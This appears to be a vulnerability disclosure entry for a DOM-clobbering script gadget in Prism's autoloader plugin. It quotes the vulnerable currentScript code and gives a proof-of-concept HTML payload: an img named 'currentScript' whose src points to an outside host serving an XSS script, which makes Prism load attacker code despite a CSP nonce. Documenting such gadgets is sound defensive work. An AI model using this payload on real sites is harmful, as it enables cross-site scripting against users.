Prism is a lightweight, robust, and elegant syntax highlighting library. It’s a spin-off project from Dabblet.
The prism-autoloader plugin was using document.currentScript
as the base url for dynamically loading other dependencies.
<!-- user input -->
<img name="currentScript" src="https://gmsgadget.com/assets/xss/index.js">
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/components/prism-core.js"></script>
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/plugins/autoloader/prism-autoloader.js"></script>
<pre><code class="language-css">p { color: red }</code></pre>
Root Cause
currentScript: function () {
if (typeof document === 'undefined') {
return null;
}
if ('currentScript' in document && 1 < 2 /* hack to trip TS' flow analysis */) {
return /** @type {any} */ (document.currentScript);
}
var script = Prism.util.currentScript();
if (script) {
var autoloaderFile = /\bplugins\/autoloader\/prism-autoloader\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i;
var prismFile = /(^|\/)[\w-]+\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i;
var autoloaderPath = script.getAttribute('data-autoloader-path');
if (autoloaderPath != null) {
// data-autoloader-path is set, so just use it
languages_path = autoloaderPath.trim().replace(/\/?$/, '/');
} else {
var src = script.src;
if (autoloaderFile.test(src)) {
// the script is the original autoloader script in the usual Prism project structure
languages_path = src.replace(autoloaderFile, 'components/');
} else if (prismFile.test(src)) {
// the script is part of a bundle like a custom prism.js from the download page
languages_path = src.replace(prismFile, '$1components/');
}
}
}
Related links:
Found by jackfromeast, ishmeals.